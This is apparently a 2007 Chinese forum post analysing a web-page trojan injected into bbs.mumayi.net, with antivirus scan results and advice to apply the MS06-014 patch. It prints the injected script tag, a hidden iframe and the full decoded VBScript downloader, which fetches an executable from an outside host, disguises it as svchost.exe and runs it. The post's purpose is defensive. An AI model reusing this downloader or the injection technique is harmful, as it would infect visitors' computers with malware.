这次的马在主页(bbs.mumayi.net)上面,源代码被加上了这样一句
- <script id="advjs" src="http://web.77276.com/adv.js?showmatrix_num=056"></script>
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根据上面链接的showmatrix_num=056和adv.js中的内容:
- document.write("<iframe src="http://web.77276.com/1/"+u_num+".htm" width="0" height="0" frameborder="0"></iframe>");
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可以知道这个会调用http://web.77276.com/1/056.htm这个网页
而这个056.htm有在跳转多一次,跳转到了http://web.77276.com/0.htm,打开源文件一看,N多三位数字,明显就是ASCII码了,转换他们后狐狸终于露出尾巴了,看看它吧:
-
- on error resume next
- tc = "http://do.77276.com/0.exe"
- fname1="svchost.exe"
- fname2="svchost.vbs"
- Set df = document.createElement("o"&"b"&"j"&"e"&"c"&"t")
- df.setAttribute "c"&"l"&"a"&"s"&"s"&"i"&"d", "c"&"l"&"s"&"id:"&"BD96C5"&"56"&"-65"&"A3"&"-11"&"D0"&"-98"&"3A"&"-00"&"C04"&"FC2"&"9E"&"36"
- str="Mic"&"ro"&"so"&"ft."&"X"&"M"&"L"&"HT"&"TP"
- str5="A"&"d"&"o"&"d"&"b."&"S"&"tr"&"e"&"am"
- Set x = df.CreateObject(str,"")
- set S = df.createobject(str5,"")
- S.type = 1
- str6="G"&"E"&"T"
- x.Open str6, tc, False
- x.Send
- set F = df.createobject("Scripting.FileSystemObject","")
- set tmp = F.GetSpecialFolder(2)
- fname1= F.BuildPath(tmp,fname1)
- S.open
- S.write x.responseBody
- S.savetofile fname1,2
- S.close
- fname2= F.BuildPath(tmp,fname2)
- set ts = F.OpenTextFile(fname2, 2, True)
- ts.WriteLine "Set Shell = CreateObject(""Sh""&""ell""&"".App""&""lic""&""at""&""ion"")"
- sql="Shell.ShellExecute"""+fname1+""","""","""",""o""&""p""&""e""&""n"",0"
- ts.writeLine sql
- ts.close
- if F.FileExists(fname1)=true then
- if F.FileExists(fname2)=true then
- set Q = df.createobject("She"&"ll."&"App"&"li"&"ca"&"tion","")
- dc="o"&"p"&"e"&"n"
- Q.ShellExecute fname2,"","",dc,0
- end if
- End if
复制代码 下载http://do.77276.com/0.exe到临时文件夹下面,名字为svchost.exe,并创建svchost.vbs来调用svchost.exe
下面是多引擎扫描对0.exe的扫描结果,可以看出结果不太一致,而且在虚拟机中运行是出错,故暂时无法说清楚是哪个病毒,但扫描结果倾向于viking的较多,估计为viking
AhnLab-V3 2007.3.24.1 03.24.2007 Win32/Viking.suspicious
AntiVir 7.3.1.44 03.23.2007 TR/Crypt.NSPM.Gen
Authentium 4.93.8 03.24.2007 Possibly a new variant of W32/PWStealer.gen1
Avast 4.7.936.0 03.23.2007 Win32:Tibs-ADO
AVG 7.5.0.447 03.24.2007 no virus found
BitDefender 7.2 03.25.2007 GenPack:Win32.Worm.Viking.IZ
CAT-QuickHeal 9.00 03.23.2007 (Suspicious) - DNAScan
ClamAV devel-20070312 03.25.2007 no virus found
DrWeb 4.33 03.25.2007 Win32.HLLW.Gavir.54
eSafe 7.0.14.0 03.22.2007 suspicious Trojan/Worm
eTrust-Vet 30.6.3506 03.23.2007 Win32/Looked.HN
Ewido 4.0 03.24.2007 no virus found
FileAdvisor 1 03.25.2007 no virus found
Fortinet 2.85.0.0 03.25.2007 suspicious
F-Prot 4.3.1.45 03.23.2007 W32/PWStealer.gen1
F-Secure 6.70.13030.0 03.24.2007 Viking.gen
Ikarus T3.1.1.3 03.25.2007 Trojan-PWS.Win32.OnLineGames.id
Kaspersky 4.0.2.24 03.25.2007 no virus found
McAfee 4991 03.23.2007 no virus found
Microsoft 1.2306 03.25.2007 no virus found
NOD32v2 2143 03.25.2007 Win32/Pacex.Gen
Norman 5.80.02 03.23.2007 Viking.gen
Panda 9.0.0.4 03.24.2007 Suspicious file
Prevx1 V2 03.25.2007 Trojan.SystemPoser
Sophos 4.15.0 03.23.2007 no virus found
Sunbelt 2.2.907.0 03.24.2007 no virus found
Symantec 10 03.25.2007 W32.Looked.BK
TheHacker 6.1.6.080 03.23.2007 no virus found
UNA 1.83 03.16.2007 no virus found
VBA32 3.11.2 03.24.2007 Malw快举报我〓我违法了版规!cope.Worm.Viking.3
VirusBuster 4.3.7:9 03.24.2007 Packed/NSPM
Webwasher-Gateway 6.0.1 03.25.2007 Trojan.Crypt.NSPM.Gen
如果在临时文件夹下面发现了svchost.vbs和svchost.exe这两个文件,建议立刻进行查杀,并打上MS06-014漏洞补丁,http://www.microsoft.com/china/technet/security/bulletin/ms06-014.mspx
最后把样本都发上来,密码为virus
[ 本帖最后由 dikex 于 2007-3-25 19:55 编辑 ] |